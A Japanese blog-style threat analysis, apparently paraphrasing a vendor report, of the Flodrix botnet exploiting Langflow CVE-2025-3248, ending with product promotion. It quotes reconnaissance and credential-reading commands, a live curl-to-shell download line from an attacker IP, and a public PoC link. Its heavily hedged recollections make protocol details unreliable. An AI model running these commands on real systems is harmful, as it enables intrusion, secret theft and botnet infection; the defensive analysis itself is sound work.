Langflow脆弱性CVE-2025-3248被Flodrixボットネット悪用の実態解説

Trendの調査によると、どうやらCVE-2025-3248を突いた攻撃が最近活発になっていて、Flodrixというボットネットをばらまく動きが見つかっているらしい。攻撃者はLangflowの脆弱なサーバーを利用してダウンロード用のスクリプトを実行させ、そのままFlodrixマルウェアを仕込むみたいだ。Langflowに関しては、一・三・零より前のバージョンに問題があるようで、この欠陥が放置されたままだと結構危ない。外部ネットワークに公開した状態で旧バージョンを使っているケース、特に注意した方が良いかもしれないね。

Langflow自体はAI関連のプロトタイピングとか自動化用途で広く使われているという話もよく聞くし、そのため攻撃対象として割と魅力的だとも言えるかも。仮にこの脆弱性を悪用されると、サーバー全体への侵入だけじゃなくてDDoSなんかにも使われたり、保管していた情報まで流出するリスクもゼロとは言い切れない。

もし今でも古いLangflowを運用している場合は、とりあえず一・三・零以降へ早めにアップデートすること、それから外部アクセス制限や怪しい通信の監視なんかも検討した方が無難かな。Flodrixボットネット絡みの痕跡についても目配りしておくと良さそうだ。

ちなみにTrend Micro系サービスでは何種類か防御策やフィルターも順次提供されていて、必要な人には追加調査ツールとかレポートなんかも揃ってるとのこと。ただし、それぞれ細かな仕様や効果範囲については多少違いがあるっぽいので、その点は確認した方がいいかもしれない。

今回話題になったこの一連のキャンペーンについて少し細かく見ると、不正なコード検証処理（CVE-2025-3248）経由で認証なしRCE（リモートコード実行）につながる部分がおそらく本質的な問題。一部報告ではPOSTリクエスト経由で/api/v1/validate/codeエンドポイントに仕掛けたコードを送信する手口だったみたい。その際、Python関数定義内の引数初期値とかデコレーター部分に不正な内容を紛れ込ませる例も観測されたそうだ。

Langflow側では入力値チェックやサンドボックス化など特別な対策は元々施されていなかったようなので、不正コードがそのままサーバー内部でコンパイル＆実行される流れになるらしい。こうなると遠隔から自由に操作できてしまう可能性が生じる。

GitHub上でも七万件以上スター獲得しているほど普及しているツールということで、狙われても不思議じゃないんだけど…最新情報や具体的な脅威分析内容は公式レポート等でも随時追記されている模様。ただ現状として「全部これ一本で完璧」というわけではなく、多方面から段階的対応したほうが無難と言える気もする。

2025年の春も終わりに近づいた頃、CISAがまた新しい脆弱性を「KEV」カタログに加えたらしい。何かLangflowというツールの話で、どうやら1.3.0より前のバージョンが影響を受けているみたいだけど、実際どこまで広まっているのかはよく分からない。ただ、被害が出ている事例もあるようで、一部ではかなり深刻だと噂されていた。

この問題は「認証抜け落ち」と「コードインジェクション」が絡んでいて、遠くから認証なしで攻撃できるっぽい。ネット上に公開されたLangflowサーバーのIPやポートがリストアップされて、それを使って攻撃者が動き始めた、といった流れだったとか。ShodanとかFOFAみたいなツールも使われた可能性が高そう。

見つかったPoCコードはGitHubにも転がっていて（https://github.com/verylazytech/CVE-2025-3248）、これをそのまま使えばシェルアクセスできる様子。最初はシンプルなbashコマンドなどで偵察し、その情報をC&Cサーバーに送り返している模様。その後、「Flodrixボットネット」と呼ばれるものをダウンロードして実行する手順になっていたらしい。ただ、感染したマシンによってはうまく動かず、パラメータ次第では途中で自分自身を消してしまうケースも観測された。つまり、攻撃者側も様子見しながら高価値なターゲットを選定し直している印象。

調査中には、このトロイ系スクリプトが間違った引数でペイロード（たぶん本体）を起動し、その結果、一度通信したあとすぐ消えてしまった事例もあった。どうやらターゲットアーキテクチャとの相性チェック的な意味合いもあるようだ。

特に危ないと言われるのは「/api/v1/validate/code」エンドポイント。この部分、本来なら認証など挟むべきだろうけれど、それが全然無かったみたい。「Pythonコード断片」を検証する目的で作られていたものだけど、ユーザー提供コードそのままast.parse()で構文解析→compile()→exec()という順番になっていて、不正な構造でも通っちゃうことになる。悪意ある人なら関数ノード内に細工したペイロードを書き込めて、それがサーバー権限で動いてしまう可能性につながる。

要するに誰でもPOSTリクエスト投げればRCE（リモートコード実行）まで持ち込める状況だったわけだけど、この辺り詳しく見ると設計上そこまで珍しくはなく…ただ管理者側としては気付きづらかったかもしれない。一連の流れを見ると、防御策について考え直す必要もありそうだ――まあ、この情報自体まだ全部確定とは言い切れない部分もありそうだが…。

Langflowの脆弱なエンドポイントに対して行われた攻撃調査、その中で見つかったPythonペイロードについて、まあざっくり言えばいろいろな手法が使われていたんだとか。関数のデフォルト引数やデコレーターに埋め込まれていたっていう話、ちょっと興味深いよね。

例えば「whoami」ってコマンドを実行させるやり方だけど、これでアプリケーションがどんなユーザー権限で動いているか探ったみたい。こうした初期の偵察ではよくある手順とされていて、攻撃者側としては自分がどこまでアクセスできそうか確認する目的なんじゃないかな。

他にも「printenv」を叩いて環境変数を全部出力するようなものもあったらしい。こういう情報って場合によってはAPIキーだったりクラウド関連の認証情報なんかも混じっていることがあるから、ちょっと危ない感じする。もちろん何でも出るわけじゃなくて、その時点でプロセスに渡されているものしか表示されないけれど、システム管理上重要なヒントになるケースもなくはない。

あと、「cat /root/.bash_history」でrootユーザーの履歴を引っ張ろうとした形跡も見られたみたい。ただこのファイルにアクセスできるかどうかは運用方法次第だから、必ずしも毎回成功するとは限らないけれど、それでも過去の操作内容からシステム構成や管理ミスなど手掛かりを得ようとしていた可能性はありそうだね。

ネットワーク関連だと、「ip addr show」と「ifconfig」を組み合わせて使う例が目についた気がする。それぞれ似たような内容だけれど、インターフェースごとのIPアドレスやMACアドレス、それに付随する細かな設定状況なんかをざっと把握しようとしていたんじゃないかな。内部ネットワークをマッピングしたり出口経路探す時には役立つ事例もあるそうだし。

また、「systemctl status sshd」でSSHサービスの状態確認している痕跡もちょこちょこあった様子。SSHが有効になってればリモート経由でさらに踏み込む道筋になる…という考え方自体は昔からよく聞く話だけど、この段階ですぐ突破できることは少ないとも言われてる。

それと「capsh --print」なんてコマンドも混じっていた模様。このあたりではプロセス自身の持つ権限（CAP_NET_BIND_SERVICEやCAP_SYS_PTRACEとか）が表示されるので、自分にできそうな特別操作・昇格ルートなんか検討してた可能性も否定できない。

極め付きは外部サーバーから直接何かダウンロードして実行するタイプ。「curl -s http://80.66.75.121:25565/docker | sh」みたいなのね。この種のスクリプト実行例はいろんな場所で似た報告を見るけど、本当にその瞬間何が起きたのかまでは詳細不明。ただし一般的には追加侵入やバックドア設置など後続作業への布石となるケースもあると聞く。

全体的には、それぞれ単独でも一定範囲内なら役立つ一方で、大規模被害まで至るケースばかりとは限らず、多くの場合ほかの要素と組み合わさって初めて重大化すると見る向きもあるらしい。

CVE-2025-3248関連のRCE通信について、何となく攻撃者がGitHub上にあるどこかのオープンソースPoC（多分 https://github.com/verylazytech/CVE-2025-3248 だったはず）を使って脆弱なシステムへアクセスしている様子が観測されていた。実際、数枚の図（例えば図4や図5など）で、そのPoCの断片とかスクリプト実行画面なんかも示されていた気がする。PoC自体はPythonで書かれていて、どこかからコピペされた感じだった、と記憶している。

一連の攻撃では感染したマシン上でいくつかのbashコマンドによる偵察活動も行われており、結果を遠隔操作サーバーに送信していたようだ。ただ、このあたりも全部が明確に解明された訳じゃなく、おそらく観測データから推測された部分も含まれている。

パッチについて話すと、Langflowというプロジェクトでバージョン1.3.0あたりからセキュリティアップデートがリリースされた。例の/authenticate/codeエンドポイント（正確には/api/v1/validate/code）への認証チェック追加がメイン。新たに_current_user: CurrentActiveUserみたいな引数がpost_validate_code関数につけられていて、それがユーザー本人確認やセッション有効性を担保する役割になっている。つまり認証依存関係として振る舞い、ユーザー情報なしだと即座に例外発生…そんな流れ。

ログにもパッチ適用後っぽい記録（図6）が残ってたかな。このCurrentActiveUser依存性はログイン済みユーザーしかAPI叩けない仕組みに変えてしまうので、不正アクセス防止にはそこそこ効果ありそう。ただし「絶対」ではなく、一部ケースでは他要素との併用等も考えられる。

認証フロー自体はFastAPI側で最初に依存関係チェック→_current_user: CurrentActiveUser検出→post_validate_code呼び出し中断…と進んでいく雰囲気。その間にJWTベアラートークンやx-api-keyヘッダー・クエリパラメータ内から資格情報探すロジックも走る。ただし資格情報不備やトークン不正時はHTTPException投げる設計だったような気がする。一方で認証通過時のみ、本来API機能へ進める構造になっていた印象だ。

この仕組み変更によって、「大多数」の一般利用者には特別な影響無さそうだけど、一部未認証環境下では挙動変化や制限強化を感じた人もいた模様。全体的には静かなアップデートだったと言えるかもしれない。

リクエストがサーバーに届いたとき、すぐに「認証失敗」や「許可されていない」といったエラーで処理が止まることがある。多くの場合はそこで終わってしまうようだ。認証情報が正しければ、次の段階としてデータベースからユーザー情報を引っ張ってくる。ユーザーが有効かどうか、つまりアカウント状態もどこかで確認される。もし、その人が非アクティブ扱いだったら、また別の例外的な処理でストップする。無事に本人確認と有効判定の両方を通過したときだけ、その先のpost_validate_codeみたいな関数実体まで進める仕組みらしい。

Langflowというプロジェクトでは、ソースコード側でもちょっとずつ変化している箇所が見られる。攻撃経路の解析に関しても時々話題になることがある。一部でdockerという名のシェルスクリプト（ファイルサイズもそこまで大きくない）が観測されていて、それを使った悪用例なんかも報告されているとか。その脚本はFlodrix botnet向けELFバイナリを色んな環境用に落としてきて動かす目的みたいだ、と言われていた。ただ、その手順は少し複雑で、「/tmp/e1x」を_dockerっていう引数付きで実行し、出力結果から“カーネルアップグレード中…”っぽい文字列が出た場合のみ該当ファイルを消す流れになっている。

調べているうちに同じホスト（IPアドレス内）から似た用途のダウンローダースクリプトが複数発見されたこともあったので、一度だけじゃなく開発段階や複数キャンペーン並行状態とも考えられている。ただ全部確定とは限らない。

deezという名前の別パターンもあり、それぞれ細かな点は違うけど基本的には標的プロセスを終了させたりする部分では共通点があるようだった。「busybox」「systemd」「watchdog」と呼ばれるプロセスID（PID）が五百より大きかった場合のみkillコマンドを投げていたりして、この辺りは一種の工夫なのかなと感じた人もいたとか。本当にそれだけなのかは分からないけど…。

どうも、最初のほうでプロセスを選り分けているらしい。多分、システムが起動してすぐに走る系統的なプロセスは避けて、もう少し後から動き出すユーザー関連のやつとか、場合によってはセキュリティソフトみたいなのを狙ってるんじゃないかと考えられる。いろんな変数をセットアップしているところがある。たしか、どこかでサーバーのIPアドレスやら通信に使う幾つかのポート番号（HTTP、TFTP、それとFTPかな）、それぞれ異なるファイル名（これも複数あった気がする）――多分アーキテクチャごとの違いだろう――なんかも指定されていた。

/tmpディレクトリに移動したあと、「e1x.」ではじまるファイル群をざっくり削除する流れになっていたような…。何個かコマンド実行チェック用の関数も定義されていて、「wget」「curl」「tftp」といったダウンロード手段が生きてるか確認しながら、その場で使える方法を順次選んで使っていく感じ。

肝になる部分は「download_with_fallback」っていう関数だったと思う。メインのダウンロード手法が失敗した時にはbusybox版wgetやcurl、それでもだめならtftpやftpgetまで落とし込むみたいな感じ。ただどこまで確実性あるのかは、ちょっと運にも左右されそう。

なんとなく覚えている範囲では、一度ファイル取得できたら「execute_file」でそのバイナリに実行権限つけて、中身を走らせる。それから標準出力に何か特定のメッセージが現れるかどうか見張ることで実行成功したか判定していた…そんな印象だった。

一連の流れとしてはいくつものバイナリファイル名を試しながら、とにかくどれでもいいから無事実行できればそこで終わり――くらいのおおまかな戦略みたい。

図９というラベル付きでDownloader亜種について説明されてた。その中身だけど、「e1x.x86_64」というファイルについては、おそらく八万バイト強くらいでELF形式。MD5やSHA値なんかも載せられていたけど、その辺詳しく知りたい人向けだと思う。

調査結果によれば、このペイロード自体はいわゆるLeetHozer系列に似た進化型っぽい。一部、自分自身を消してしまったりログ痕跡減らす仕組みとか、文字列難読化（C&Cサーバー情報など隠すため？）なんて工夫もちょこちょこ見受けられる。本家LeetHozerとも比較していて、ネットラボ３６０チームが扱った亜種（md5: 57212f7e253ecebd39ce5a8a6bd5d2df）とどう違うのかにも触れていた気がする。その話題はいずれまた深堀りされそうだ。

図１０あたりではボットロジック解説。まず最初にXORベースのアルゴリズムで暗号化された文字列（“qE6MGAbI”という鍵）が復号される仕様。「Upgrading Kernel.. 」というフレーズが現れて、そのまま標準出力へ放たれる。この一言自体がおそらくダウンローダースクリプト側への合図として機能している様子。その後は、自身のプロセスID取得とかコマンドライン引数管理用バッファ割当とか、一通り初期処理めいたことを済ませるみたいだ。一つだけ引数与えた場合、それをコピー後すぐクリアするような挙動も確認された模様。そして最後には、自分自身（つまりこのマルウェア本体）の絶対パス参照→ディスク上から消去…まあ所謂自己削除処理ね。検証者によれば、この辺全体的になかなかわざと痕跡減らそうとしている印象だったとか。ただ全部きっちり消せるとは限らないので、その点注意した方が良さそうだ。

なんか最近見たマルウェアの話だったかな、多分あれは感染後の調査をわざと妨げるような手口が使われていた気がする。例えば「カーネルアップグレード」とかいう文言も暗号化されてて、実行パス消したりしてる場面もあったような…。
で、そのあとで、どうやら「.system_idle」っていう隠しファイルを探しにいくみたいだけど、この名前もその場になってから復号される仕組みみたい。これにはマルウェアのプロセスID（PID）がしまってあることが多いらしく、一回でも動いた形跡が残っちゃうんだろうね。そのファイルがもし見つかったら、今度は一行ごとに読み込んで、それぞれPID（たまに親子セットっぽい）を取り出すんだとか。
ただ、そのPIDごとに本当に生きてるプロセスなのかチェックして、生きてた場合はSIGKILL信号を送って無理やり止めちゃう…そう聞いたけど、実際全部必ず成功するのかどうかはちょっとわからない。そのあと例の隠しファイル自体も削除する流れになってるっぽいけど、これで二重起動とか競合とか避けたり、自分自身の痕跡をごまかしたりしている可能性もありそう。
それからまた違うタイミングだったと思うけど、マルウェア側では不自然な子プロセス名やパラメータでフォーク処理までやろうとしていることもあるらしい。さらにアンチデバッグ策として、新しいプロセスを生成して、その新規プロセスが実際に「子」じゃない場合には親側を落とす…という、ちょっとトリッキーな挙動も混じっているとの話だった。確実とは言えないものの、この流れだとデバッガーなど解析ツール側が対応困難になる場合もあるようだね。
もしそのまま正常に子プロセス群が作れてしまったなら、それぞれのPIDを書き戻して悪意ある活動を進める…。C&CサーバーアドレスもXOR鍵で段階的に解読されていて、その内容次第で通信先など決まる仕掛けっぽい。よくあるTCPだけじゃなくTor経由でも繋ぐ機能が備わっていて、大抵の場合まず通常ソケット通信から始めるらしい。ただこの辺り曖昧だけど、「五万数千番台」のポート番号使ってC&Cへ接続試行したという話を耳にしたことがある。
コネクション取れた時点ですぐ最初のリクエスト送信にも入る流れになりやすく、中身は固定長パケット（200バイト台後半くらい？）だった気がする。それと特定のマジックバイト列（頭2つ3つくらい）が決め打ちされていて、そこからサーバー側で判別する狙いなのかもしれない、と考えた人もいたようだよ。でも細部まで検証できたわけではないので、一応参考程度かな…。

パケットの構造については、なんとなく図の十四番を思い出すが、その詳細な並び順よりも、全体的な流れを掴んでおいた方が良さそう。最初のリクエストに使われる形式（図十六だったかな？）では、たしか十二個ぐらい連続したワード単位で合計してチェックサムを作成していた気がする。そのあと上半分と下半分を足し合わせて十六ビットに折り畳む……まあ、最終的には下側だけ取り出す感じ。

C&Cサーバーから返事が来ると、マルウェアはまず受け取った返信パケットの先頭三十数バイトくらい（たしか三十二バイトほど）を調べ始めるみたいだ。ただ、その時点で最初の四バイトが0xFF0103FFになっているかどうか見ている。もし一致してしまったら、それ以上何もしないで通信も閉じて終了することになる。

一方、その判定に引っかからなければ、更に次の四バイトずつ区切って八バイト目や十二バイト目あたりを確認することになるはず。具体的には五バイト目から八バイト目までが0x8931になっている場合、あるいは九～十二番目付近が0xB043なら「これは有効な応答」と判断されるようだ。

その後どうなるかと言えば、受信したパケット自体を書き換えて二回目のリクエスト用データとして再利用する流れ。例えば八～十一バイト部分は0x8932へ変わり、一番頭側二バイトは元々ポート番号とか入ってた所を0x3A20に差し替えたり、新しいリクエスト番号として0x0002を割り当てたりといった操作も行う。出来上がったものをそのまままた送信するんだろう。

今度返事が来たときには、前回とは微妙に違うチェックポイントになっていて、五～八番目あたりが0x4EEBだったり、九～十二番あたりが再び0x8932の場合、「この応答も正しい」とみなされる。この段階まで進めばボットは「活動中」の状態となり、C&Cからコマンド待ちになる仕組みらしい。

この後しばらくすると「ハートビート」みたいな通信――何というか、中身ほぼ空っぽ（値ゼロひとつだけ）の小さいパケットを周期的に送り始める。一発目のそれに対しC&C側は大抵1という値で返すっぽい。それはボット起動時に渡されたパラメータ文字列（無ければ"null"という固定文字列）を送り返せという指示になっている様子だった（図十八？）。

そしてコマンド配信フェーズへ移行すると、攻撃タイプやターゲットIP、それからポート番号・継続時間など主要要素をごそっと抜き出してくるようになる。ただし必要な情報量については明確じゃなくて、一例として最初の一バイト（多分0x3e？）と五番目くらい（多分0x3f？）との間でXOR演算して、その結果得られた数だけ構造体領域みたいなのを作成する仕掛けだったと思う。個別データにはヘッダーと本体値のセットが含まれていて、それぞれ埋め込んでゆく形だろうか。

実際細部について逐一合っているか自信ない部分もあるけど、おおよそこういう手順でやり取りされている雰囲気だった、と記憶している。

なんだか構造の先頭が0x0001とか0x0002で始まっていることが多いらしい。これ、たぶん種類を示す記号みたいなもので、どっちだったかな…ひとつはゼロ詰め用で、もう一方はゼロバイト入れないやつ？あいまいだけど。攻撃設定っていうのも色々受け取れるようになっていて、「tcpraw」「udpplain」「handshake」とか「tcplegit」、あと「ts3」や「udp」みたいな名前が出てくる。具体的にどう分けてるのか微妙に不明確だった気もする。

このFlodrixというボットネット、観察したサンプルでは昔netlab360というところが調べていたものと雰囲気似ていて――例えば暗号化の仕組みや使われていたXORキー、それから通信データの形式なんかは近かった印象。でも全部一緒じゃなくて、細かい違いもあったみたいだよ。

レスポンスヘッダーにも変化が見られて、新旧比較すると違いが浮かび上がる。新しいバージョンでは追加設定項目もあるようなのだけど、その内容まで突き止めきれず、詳細はなんとも言えない感じ。

それからDDoS攻撃タイプ自体にも少し増減があった模様。しかも今度は暗号化されて送られる部分も増えているっぽく、一層わかりづらくしている様子。

さらに最近のサンプルでは、「/proc」ディレクトリを覗き込んで起動中プロセスを列挙している場面によく遭遇する。たぶんPID（プロセスID）ごとにディレクトリエントリを拾って、有効そうなものだけ抜き出して、その後コマンド名や実行パス、それから引数までチェックしていると思う。一部、「init」とか「systemd」「watchdog」「busybox」や「/bin/busybox」というプロセス名に当たるもの――あと作業ディレクトリが/tmpなら要注意扱い？対象になると信号送って終了させる仕様みたいだ。

停止させた場合にはC&Cへ通知する流れになっていて、“KILLDETAIL|”という文字列から始まるメッセージをUDPで50445番ポート経由で投げているっぽい。この通知、中身としてはPIDとかPPID（親プロセスID）、シグナル番号（値はいくつか選択肢ありそうだった）、COMM（プロセス名）、EXE（実行ファイルパス）、CWD（カレントディレクトリ）、CMDLINE（コマンドライン全体）、それからソケット数まで載せていることも多かった気がする。ただ正確な仕様については断定しづらいところあるし、一部推測混じりだと思う。全体像としてはそんなところかな…。

UDP通知リクエストの仕組みについて少し触れた後、Trend Vision One™がAIを利用したエンタープライズ向けセキュリティプラットフォームとして何年も前から知られていることが多い。これ一つでサイバーリスクの状況把握や監視、それからレイヤーごとの保護など、色々とまとめて対応する感じだろうか。業界ではTrend CybertronというAI技術も背景にあるようで、脅威への対応スピードとか、ランサムウェア関連のリスク低減効果がかなり大きい…と言われることもあるみたい。例えば被害発見までの時間がほぼゼロに近づいたケースや、リスク自体を三分之一以下程度まで抑えた例なんかも報告されている。ただし全員に当てはまるとは限らず、そのあたりは環境次第だろう。実際には経営層への説明材料や対外的な姿勢アピールにも使えるらしい。

CVE-2025-3248の話題になると、Trend Microは早いうちからお客さん向けに幾つか防御策を用意していた模様。具体的にはVision One™ Network SecurityやTippingPoint Intrusion Prevention用フィルターでTCPとかUDP形式の疑わしい通信（Linux系FlodrixBot関連）検知をするもの。それ以外にもHTTP経由でLangflowコード注入っぽい振る舞いを見る仕組みや、Deep Discovery Inspector (DDI) のルール設定なんかも案内されている。しかし細部仕様については全部公表されているわけでもなさそうだ。

また、新しい攻撃手口へ対応するため、「Threat Insights」という調査情報サービスを通じて最新事例・傾向分析などを随時配信していることもある。Langflowに関する深刻な脆弱性（CVE-2025-3248）が最近特定され、この問題を突いたFlodrixボットネット感染例も報告されたばかり。詳しく見たい場合、「Search App」を使って過去ログやイベントデータとの照合・ハンティング作業ができるという。その際利用できる検索クエリ（例えば怪しいC&C接続元IPアドレス群）もちょこちょこ公開中。ただし、この種の詳細機能は一部権限持つユーザー限定になる可能性高い。

IOC（インジケーター・オブ・コンプロマイズ）、つまり具体的な痕跡情報などは別途リンク先などでまとめられていて、ときどきアップデートされている雰囲気だ。それぞれの施策や分析結果について「必ずしも全環境で同じ成果が出るわけじゃない」という留保付きだけど、多くの場合一定以上参考になってきた印象は残っている。